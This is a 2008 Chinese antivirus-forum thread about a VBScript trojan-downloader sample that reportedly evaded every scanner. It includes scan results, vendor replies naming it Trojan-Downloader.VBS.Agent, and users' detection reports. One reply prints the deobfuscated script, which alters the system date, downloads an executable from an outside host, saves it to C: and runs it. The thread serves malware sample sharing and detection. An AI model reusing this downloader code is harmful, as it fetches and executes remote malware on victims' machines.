目前過全部的殺軟

juijui

一個樣本，目前過全部的殺軟!!!
大家測看看!!!

結果: 0/32 (0%)

File ID	Filename	Size (Byte)	Result
3826737	台北掃黃紀要.zip	7.54 KB	OK

A listing of files contained inside archives alongside their results can be found below:

File ID	Filename	Size (Byte)	Result
3826738	#x#_#######n.vbe	154.18 KB	MALWARE

Please find a detailed report concerning each individual sample below:

Filename	Result
#x#_#######n.vbe	MALWARE

The file '#x#_#######n.vbe' has been determined to be 'MALWARE'.
Our analysts named the threat VBS/Dldr.Agent.GA. The term "VBS/" denotes a Visual Basic script-virus.Detection will be added to our virus definition file (VDF) with one of the next updates.

[ 本帖最后由 juijui 于 2008-4-22 20:34 编辑 ]

HC303

报过，我就不上报。

diablolong

ao~

[ 本帖最后由 diablolong 于 2008-4-23 21:23 编辑 ]

hellobaby

是病毒吗？运行有什么危害？（此文件后缀是VBS的，毒霸没有查出）

[ 本帖最后由 hellobaby 于 2008-4-22 20:43 编辑 ]

qigang

rising20.41.12未杀！

jimmyleo

1. on error resume next
   
2. Set ws = CreateObject("Wscript.Shell")
   
3. ws.run "cmd /c set date=%date% &&date 2008-4-20 &&ping 127.0.0.1 -n 29 &&date %date%",vbhide
   
4. ps.Name="hfgty.exe" or ps.Name="4451y.exe" or ps.name="gfhftr.exe" or ps.name="86231.exe" or ps.name="dhfgh4.exe" or ps.name="dfghgfy575.exe"
   
5. iLocal = LCase("c:\fgtyt.exe"):iRemote = LCase("http://www.13806999228.com/31.exe")
   
6. 'if 1=2 then Wscript.echo "iMPossible!"
   
7. wscript.sleep 2
   
8. 'if 1=2 then Wscript.echo "iMPossible!"
   
9. Set xPost = CreateObject("Microsoft.XMLHTTP")
   
10. 'if 1=2 then Wscript.echo "iMPossible!"
    
11. xPost.Open "GET",iRemote,0
    
12. 'if 1=2 then Wscript.echo "iMPossible!"
    
13. xPost.Send()
    
14. 'if 1=2 then Wscript.echo "iMPossible!"
    
15. Set sGet = CreateObject("ADODB.Stream")
    
16. 'if 1=2 then Wscript.echo "iMPossible!"
    
17. sGet.Mode = 3
    
18. 'if 1=2 then Wscript.echo "iMPossible!"
    
19. sGet.Type = 1
    
20. 'if 1=2 then Wscript.echo "iMPossible!"
    
21. sGet.Open()
    
22. 'if 1=2 then Wscript.echo "iMPossible!"
    
23. sGet.Write(xPost.responseBody)
    
24. 'if 1=2 then Wscript.echo "iMPossible!"
    
25. sGet.SaveToFile iLocal,2
    
26. 'if 1=2 then Wscript.echo "iMPossible!"
    
27. Set Runner=CreateObject("Wscript.Shell")
    
28. 'if 1=2 then Wscript.echo "iMPossible!"
    
29. Runner.run iLocal

复制代码

wangjay1980

Hello,

yexye_-#Lm#nn.vbe - Trojan-Downloader.VBS.Agent.mt

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.

--
Best regards, Evgeny Aseev
Virus analyst, Kaspersky Lab.
e-mail: newvirus@kaspersky.com
http://www.kaspersky.com/

http://www.kaspersky.com/virusscanner - free online virus scanner.
http://www.kaspersky.com/helpdesk.html - technical support.

> Attachment: ??????.zip
[:1:]

施主你装比

nod32  卡巴均不报

519793367

试了下 avk 蜘蛛 NOD 红伞 avg 都未报

change_018

卡巴飘~